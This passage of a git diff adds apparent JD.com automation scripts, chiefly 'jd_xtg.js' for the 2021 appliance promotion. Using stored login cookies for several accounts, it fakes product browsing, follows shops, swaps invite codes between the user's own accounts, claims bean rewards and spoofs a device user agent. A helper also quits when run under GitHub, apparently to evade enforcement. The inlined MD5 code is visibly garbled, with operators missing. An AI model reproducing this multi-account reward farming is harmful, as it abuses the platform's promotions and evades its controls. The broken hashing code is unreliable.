+ url: `${JD_API_HOST}/shop/DelShopFav?shopId=${shopId}&_=${Date.now()}&sceneval=2&g_login_type=1&callback=jsonpCBKG&g_ty=ls`,
+ headers: {
+ "Host": "wq.jd.com",
+ "Accept": "*/*",
+ "Connection": "keep-alive",
+ 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ 'Referer': 'https://wqs.jd.com/my/fav/shop_fav.shtml?sceneval=2&jxsid=15960121319555534107&ptag=7155.1.9',
+ 'Cookie': cookie,
+ "Accept-Language": "zh-cn",
+ "Accept-Encoding": "gzip, deflate, br"
+ },
+ }
+ $.get(option, (err, resp, data) => {
+ try {
+ data = JSON.parse(data.slice(14, -13));
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ });
+ })
+}
+
+function TotalBean() {
+ return new Promise(async resolve => {
+ const options = {
+ "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`,
+ "headers": {
+ "Accept": "application/json,text/plain, */*",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "zh-cn",
+ "Connection": "keep-alive",
+ "Cookie": cookie,
+ "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2",
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")
+ }
+ }
+ $.post(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (data) {
+ data = JSON.parse(data);
+ if (data['retcode'] === 13) {
+ $.isLogin = false; //cookie过期
+ return
+ }
+ if (data['retcode'] === 0) {
+ $.nickName = (data['base'] && data['base'].nickname) || $.UserName;
+ } else {
+ $.nickName = $.UserName
+ }
+ } else {
+ console.log(`京东服务器返回空数据`)
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+
+function requireConfig() {
+ return new Promise(resolve => {
+ if ($.isNode() && process.env.UN_SUBSCRIBES) {
+ if (process.env.UN_SUBSCRIBES.indexOf('&') > -1) {
+ $.UN_SUBSCRIBES = process.env.UN_SUBSCRIBES.split('&');
+ } else if (process.env.UN_SUBSCRIBES.indexOf('\n') > -1) {
+ $.UN_SUBSCRIBES = process.env.UN_SUBSCRIBES.split('\n');
+ } else if (process.env.UN_SUBSCRIBES.indexOf('\\n') > -1) {
+ $.UN_SUBSCRIBES = process.env.UN_SUBSCRIBES.split('\\n');
+ } else {
+ $.UN_SUBSCRIBES = process.env.UN_SUBSCRIBES.split();
+ }
+ console.log(`您环境变量 UN_SUBSCRIBES 设置的内容为:\n${JSON.stringify($.UN_SUBSCRIBES)}`)
+ goodPageSize = $.UN_SUBSCRIBES[0] || goodPageSize;
+ shopPageSize = $.UN_SUBSCRIBES[1] || shopPageSize;
+ stopGoods = $.UN_SUBSCRIBES[2] || stopGoods;
+ stopShop = $.UN_SUBSCRIBES[3] || stopShop;
+ }
+ resolve()
+ })
+}
+
+function jsonParse(str) {
+ if (typeof str == "string") {
+ try {
+ return JSON.parse(str);
+ } catch (e) {
+ console.log(e);
+ $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie')
+ return [];
+ }
+ }
+}
+// prettier-ignore
+function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)}
\ No newline at end of file
diff --git a/Task/jd_xtg.js b/Task/jd_xtg.js
new file mode 100644
index 0000000..8684e16
--- /dev/null
+++ b/Task/jd_xtg.js
@@ -0,0 +1,617 @@
+/*
+家电星推官脚本
+Last Modified time: 2021-05-31 9:15:04
+家电星推官活动地址:https://3.cn/-1eD1VOa?_ts=1622072397979&utm_source=iosapp&utm_medium=appshare&utm_campaign=t_335139774&utm_term=CopyURL&ad_od=share&gx=RnFtxGZZPTONndRP--twDLBLeC4DoX3_2wf2
+活动时间:2021年5月27日 00:00:00-2021年6月18日 23:59:59
+京豆先到先得!!!!!!!!!!!
+出现任务做完没领取的情况,就再运行一次脚本
+脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js
+============Quantumultx===============
+[task_local]
+#家电星推官
+0 0 0 * * * jd_xtg.js, tag=家电星推官, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true
+
+================Loon==============
+[Script]
+cron "0 0 0 * * *" script-path=jd_xtg.js,tag=家电星推官
+
+===============Surge=================
+家电星推官 = type=cron,cronexp="0 0 0 * * *",wake-system=1,timeout=3600,script-path=jd_xtg.js
+
+============小火箭=========
+家电星推官 = type=cron,script-path=jd_xtg.js, cronexpr="0 0 0 * * *", timeout=3600, enable=true
+ */
+const $ = new Env("家电星推官");
+const activeEndTime = "2021/06/18 23:59:59+08:00"; //活动结束时间
+const notify = $.isNode() ? require("./sendNotify") : "";
+//Node.js用户请在jdCookie.js处填写京东ck;
+const jdCookieNode = $.isNode() ? require("./jdCookie.js") : "";
+!function(n){"use strict";function r(n,r){var t=(65535&n)+(65535&r);return(n>>16)+(r>>16)+(t>>16)<<16|65535&t}function t(n,r){return n<>>32-r}function u(n,u,e,o,c,f){return r(t(r(r(u,n),r(o,f)),c),e)}function e(n,r,t,e,o,c,f){return u(r&t|~r&e,n,r,o,c,f)}function o(n,r,t,e,o,c,f){return u(r&e|t&~e,n,r,o,c,f)}function c(n,r,t,e,o,c,f){return u(r^t^e,n,r,o,c,f)}function f(n,r,t,e,o,c,f){return u(t^(r|~e),n,r,o,c,f)}function i(n,t){n[t>>5]|=128<>>9<<4)]=t;var u,i,a,h,g,l=1732584193,d=-271733879,v=-1732584194,C=271733878;for(u=0;u>5]>>>r%32&255);return t}function h(n){var r,t=[];for(t[(n.length>>2)-1]=void 0,r=0;r>5]|=(255&n.charCodeAt(r/8))<16&&(e=i(e,8*n.length)),t=0;t<16;t+=1)o[t]=909522486^e[t],c[t]=1549556828^e[t];return u=i(o.concat(h(r)),512+8*r.length),a(i(c.concat(u),640))}function d(n){var r,t,u="";for(t=0;t>>4&15)+"0123456789abcdef".charAt(15&r);return u}function v(n){return unescape(encodeURIComponent(n))}function C(n){return g(v(n))}function A(n){return d(C(n))}function m(n,r){return l(v(n),v(r))}function s(n,r){return d(m(n,r))}function b(n,r,t){return r?t?m(r,n):s(r,n):t?C(n):A(n)}$.md5=b}();
+//IOS等用户直接用NobyDa的jd cookie
+let cookiesArr = [], cookie = "", allMsg = '';
+if ($.isNode()) {
+ Object.keys(jdCookieNode).forEach((item) => {
+ cookiesArr.push(jdCookieNode[item]);
+ });
+ if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => {};
+} else {
+ cookiesArr = [
+ $.getdata("CookieJD"),
+ $.getdata("CookieJD2"),
+ ...jsonParse($.getdata("CookiesJD") || "[]").map((item) => item.cookie),
+ ].filter((item) => !!item);
+}
+let starID = [
+ {
+ "starId": "flp-songqian",
+ },
+ {
+ "starId": "ykd-liutao",
+ }
+];
+$.allShareId = {};
+const JD_API_HOST = "https://guardianstarjd.m.jd.com/star";
+!(async () => {
+ if (!cookiesArr[0]) {
+ $.msg(
+ $.name,
+ "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取",
+ "https://bean.m.jd.com/bean/signIndex.action",
+ { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }
+ );
+ return;
+ }
+ cookie = cookiesArr[0];
+ await starRanking();
+ for (let i = 0; i < cookiesArr.length; i++) {
+ if (cookiesArr[i]) {
+ cookie = cookiesArr[i];
+ $.UserName = decodeURIComponent(
+ cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]
+ );
+ $.index = i + 1;
+ $.beanCount = 0;
+ $.jdNum = 0;
+ $.isLogin = true;
+ $.nickName = "";
+ $.shareID = [];
+ await TotalBean();
+ console.log(
+ `\n===============开始【京东账号${$.index}】${
+ $.nickName || $.UserName
+ }==================\n`
+ );
+ if (!$.isLogin) {
+ $.msg(
+ $.name,
+ `【提示】cookie已失效`,
+ `京东账号${$.index} ${
+ $.nickName || $.UserName
+ }\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`,
+ { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }
+ );
+
+ if ($.isNode()) {
+ await notify.sendNotify(
+ `${$.name}cookie已失效 - ${$.UserName}`,
+ `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`
+ );
+ }
+ continue;
+ }
+ console.log(`一共${starID.length}个${$.name}任务,耗时会很久,京豆先到先得!!!!!!!!!!!
+请提前知晓`);
+ // $.beanCount = beforeTotal && beforeTotal['base'].jdNum;
+ for (let index = 0; index < starID.length; index++) {
+ $.activeId = starID[index]['starId'];
+ console.log(`开始 【${$.activeId}】 星推官,加入店铺会员任务不做\n`);
+ $.j = index;
+ $.times = 0;
+ await JD_XTG(true);
+ await indexInfo();//抽奖
+ }
+ await showMsg();
+ }
+ }
+ if ($.isNode() && allMsg) {
+ await notify.sendNotify($.name, allMsg);
+ }
+ //助力功能
+ for (let index = 0; index < starID.length; index++) {
+ $.invites = [];
+ $.activeId = starID[index]['starId'];
+ $.appIndex = index + 1;
+ console.log(`\n获取星推官【${$.activeId}】下的邀请码\n`)
+ for (let v = 0; v < cookiesArr.length; v++) {
+ cookie = cookiesArr[v];
+ $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]);
+ $.index = v + 1;
+ await initSuportInfo();
+ }
+ if ($.invites.length > 0) {
+ $.allShareId[starID[index]['starId']] = $.invites;
+ }
+ }
+ if (!cookiesArr || cookiesArr.length < 2) return
+ for (let v = 0; v < cookiesArr.length; v++) {
+ cookie = cookiesArr[v];
+ $.index = v + 1;
+ $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]);
+ console.log(`自己账号内部互助\n\n`);
+ for (let oneAppId in $.allShareId) {
+ let oneAcHelpList = $.allShareId[oneAppId];
+ for (let j = 0; j < oneAcHelpList.length; j++) {
+ $.item = oneAcHelpList[j];
+ if ($.UserName === $.item['userName']) continue;
+ if (!$.item['inviteId'] || $.item['max']) continue
+ console.log(`账号${$.index} ${$.UserName} 去助力账号 ${$.item['userName']}的第${$.item['index']}个星推官活动【${$.item['starId']}】,邀请码 【${$.item['inviteId']}】`)
+ $.canHelp = true;
+ $.activeId = $.item['starId'];
+ await doSupport($.item['inviteId']);
+ if (!$.canHelp) {
+ console.log(`助力机会已耗尽,跳出`);
+ break;//此处如果break,则遇到第一个活动就无助力机会时,不会继续助力第二个活动了
+ }
+ }
+ }
+ }
+})()
+ .catch((e) => {
+ $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, "");
+ })
+ .finally(() => {
+ $.done();
+ });
+async function showMsg() {
+ let nowTime = new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000;
+ if (nowTime > new Date(activeEndTime).getTime()) {
+ $.msg($.name, 'xtg', `请删除或禁用此脚本\n咱江湖再见`);
+ if ($.isNode()) await notify.sendNotify($.name + '活动已结束', `请删除此脚本\n咱江湖再见`)
+ } else {
+ if ($.beanCount) {
+ $.msg($.name, ``, `京东账号${$.index} ${$.nickName || $.UserName}\n星推官活动获得:${$.beanCount}京豆`);
+ allMsg += `京东账号${$.index} ${$.nickName || $.UserName}\n星推官活动获得:${$.beanCount}京豆\n`;
+ }
+ }
+}
+async function JD_XTG(flag = false) {
+ var skuCount = 15, meetingCount = 15;
+ await getHomePage();
+ if ($.homeData && $.homeData.code === 200) {
+ let { dayTask, supportTask } = $.homeData.data;
+ if (flag) {
+ // console.log(`\n===========活动${$.j + 1}-[${starID[$.j]['starId']}] 助力码==========\n${shareId}\n`);
+ // $.shareID.push(shareId);
+ }
+ dayTask = dayTask.filter(vo => (vo['type'] === 'sku' || vo['type'] === 'meeting' || vo['type'] === 'followShop') && vo['finishCount'] !== vo['count']);
+ for (let item of dayTask) {
+ if (item['type'] === 'memberShop') {
+ console.log(`开通【${item['name']}】会员,跳过\n`);
+ continue
+ }
+ if (item['type'] === 'sku') {
+ meetingCount = item['count'];
+ console.log(`浏览【${item['name']}】(${item['finishCount']}/${item['count']}),需等待6秒`);
+ const res = await doTask(item['type'], item["id"]);
+ const t = Date.now();
+ if (res && res.code === 200) {
+ await $.wait(6 * 1000)
+ // const b = `browse_task_${$.activeId}_${item["id"]}_${$.time('yyyyMMdd')}_${item['type']}_${t + 7 * 1000}`;
+ await getBrowsePrize(res.data);
+ // await getBrowsePrize(b);
+ }
+ }
+ if (item['type'] === 'meeting') {
+ skuCount = item['count'];
+ console.log(`浏览会场【${item['name']}】(${item['finishCount']}/${item['count']}),需等待6秒`);
+ const res = await doTask(item['type'], item["id"]);
+ const t = Date.now();
+ if (res && res.code === 200) {
+ await $.wait(6 * 1000)
+ await getBrowsePrize(res.data);
+ }
+ }
+ if (item['type'] === 'followShop') {
+ console.log(`关注店铺【${item['name']}】(${item['finishCount']}/${item['count']})`);
+ await doTask(item['type'], item["id"], `followShop`);
+ }
+ }
+ dayTask = dayTask.filter(vo => (vo['type'] === 'sku' || vo['type'] === 'meeting' || vo['type'] === 'followShop') && vo['finishCount'] !== vo['count']);
+ if (dayTask && dayTask.length) {
+ $.times += 1;
+ console.log(`第 ${$.times + 1}次循环执行JD_XTG`)
+ // await JD_XTG();
+ if ($.times <= Math.max(skuCount, meetingCount)) {
+ // console.log(`第 ${$.times + 1}次循环执行JD_XTG`)
+ await JD_XTG();
+ } else {
+ console.log(`估计已死循环,不再执行JD_XTG\n`)
+ }
+ } else {
+ console.log(`${$.activeId}星推官任务已做完\n`)
+ }
+ } else {
+ console.log(`京东服务器返回无数据!`);
+ }
+}
+//获取邀请码
+function initSuportInfo() {
+ return new Promise(async (resolve) => {
+ const options = taskPostUrl('task/initSuportInfo', 'initSuportInfo',`starId=${$.activeId}`);
+ $.post(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`);
+ console.log(`${$.name} API请求失败,请检查网路重试`);
+ } else {
+ // console.log(`\n助力结果:${data}`);
+ data = JSON.parse(data);
+ if (data['code'] === 200) {
+ console.log(`账号${$.index} ${$.UserName} ${$.activeId}星推官邀请码:${data.data}`);
+ $.invites.push({
+ inviteId: data.data,
+ userName: $.UserName,
+ starId: $.activeId,
+ index: $.appIndex,
+ max: false
+ })
+ } else {
+ console.log(`邀请码获取失败:`)
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve();
+ }
+ });
+ });
+}
+function starRanking() {
+ return new Promise(async (resolve) => {
+ const options = taskPostUrl('task/starRanking', 'starRanking', 'starId=bl-gongjun')
+ $.post(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`);
+ console.log(`${$.name} API请求失败,请检查网路重试`);
+ } else {
+ // console.log(`\n助力结果:${data}`);
+ data = JSON.parse(data);
+ if (data['code'] === 200) {
+ starID = data.data
+ } else {
+ console.log(`frontConfig失败:`)
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve();
+ }
+ });
+ });
+}
+function getHomePage() {
+ return new Promise((resolve) => {
+ const options = taskPostUrl('task/getList', 'getList', `starId=${$.activeId}`);
+ $.post(options, async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`);
+ console.log(`${$.name} API请求失败,请检查网路重试`);
+ } else {
+ if (data) {
+ data = JSON.parse(data);
+ if (data['code'] === 200) {
+ $.homeData = data;
+ } else {
+ console.log(`getList异常`)
+ }
+ } else {
+ console.log(`京东服务器返回空数据`);
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve();
+ }
+ });
+ });
+}
+function doTask(type, id, functionID = 'doBrowse') {
+ return new Promise(async (resolve) => {
+ const options = taskPostUrl(`task/${functionID}`, functionID, `starId=${$.activeId}&id=${id}&type=${type}`)
+ $.post(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`);
+ console.log(`${$.name} API请求失败,请检查网路重试`);
+ } else {
+ console.log(`doBrowse做任务结果:${data}`);
+ data = JSON.parse(data);
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ });
+ });
+}
+function getBrowsePrize(browseId) {
+ return new Promise(async (resolve) => {
+ const options = taskPostUrl('task/getBrowsePrize', 'getBrowsePrize', `starId=${$.activeId}&browseId=${browseId}`)
+ $.post(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`);
+ console.log(`${$.name} API请求失败,请检查网路重试`);
+ } else {
+ console.log(`getBrowsePrize做任务结果:${data}`);
+ data = JSON.parse(data);
+ if (data && data.code === 200) {
+ $.beanCount += data.data['jingBean'];
+ console.log(`获得京豆:${data.data['jingBean']}\n`);
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve();
+ }
+ });
+ });
+}
+function doSupport(shareId) {
+ return new Promise(async (resolve) => {
+ const options = taskPostUrl('task/doSupport', 'doSupport', `starId=${$.activeId}&shareId=${shareId}`)
+ $.post(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`);
+ console.log(`${$.name} API请求失败,请检查网路重试`);
+ } else {
+ data = JSON.parse(data);
+ if (data && data.code === 200) {
+ if (data['data']['status'] === 6) {
+ console.log('助力成功')
+ }
+ if (data['data']['status'] === 5) $.canHelp = false;
+ if (data['data']['status'] === 4) $.item['max'] = true;
+ }
+ console.log(`助力结果:${JSON.stringify(data)}\n`);
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve();
+ }
+ });
+ });
+}
+function indexInfo() {
+ return new Promise(async (resolve) => {
+ const options = taskPostUrl('index/indexInfo', 'indexInfo', `starId=${$.activeId}&type=null`);
+ $.post(options, async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`);
+ console.log(`${$.name} API请求失败,请检查网路重试`);
+ } else {
+ data = JSON.parse(data);
+ if (data && data.code === 200) {
+ $.starPrizeVoList = (data.data.starPrizeVoList || []).filter(vo => vo.status === 0 && data.data.myTotalStar >= vo['starGradeNum']);
+ for (let item of $.starPrizeVoList) {
+ await lottery(item['id']);
+ // await $.wait(500);
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve();
+ }
+ });
+ });
+}
+function lottery(id) {
+ return new Promise(async (resolve) => {
+ const options = taskPostUrl('task/lottery', 'lottery', `starId=${$.activeId}&id=${id}`);
+ $.post(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`);
+ console.log(`${$.name} API请求失败,请检查网路重试`);
+ } else {
+ data = JSON.parse(data);
+ if (data && data.code === 200) {
+ if (data.data && data.data.status === 1) {
+ console.log(`京东账号${$.index} ${$.nickName || $.UserName}恭喜中奖\n【${$.activeId}】星推官抽奖详情${JSON.stringify(data)}\n`);
+ } else {
+ console.log(`【${$.activeId}】星推官抽奖:未中奖\n`)
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve();
+ }
+ });
+ });
+}
+function TotalBean() {
+ return new Promise(async (resolve) => {
+ const options = {
+ url: `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`,
+ headers: {
+ Accept: "application/json,text/plain, */*",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "zh-cn",
+ Connection: "keep-alive",
+ Cookie: cookie,
+ Referer: "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2",
+ "User-Agent": "jdapp;android;9.4.4;10;3b78ecc3f490c7ba;network/UNKNOWN;model/M2006J10C;addressid/138543439;aid/3b78ecc3f490c7ba;oaid/7d5870c5a1696881;osVer/29;appBuild/85576;psn/3b78ecc3f490c7ba|541;psq/2;uid/3b78ecc3f490c7ba;adk/;ads/;pap/JA2015_311210|9.2.4|ANDROID 10;osv/10;pv/548.2;jdv/0|iosapp|t_335139774|appshare|CopyURL|1606277982178|1606277986;ref/com.jd.lib.personal.view.fragment.JDPersonalFragment;partner/xiaomi001;apprpd/MyJD_Main;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36",
+ },
+ };
+ $.post(options, (err, resp, data) => {
+ try {
+ if (err) {
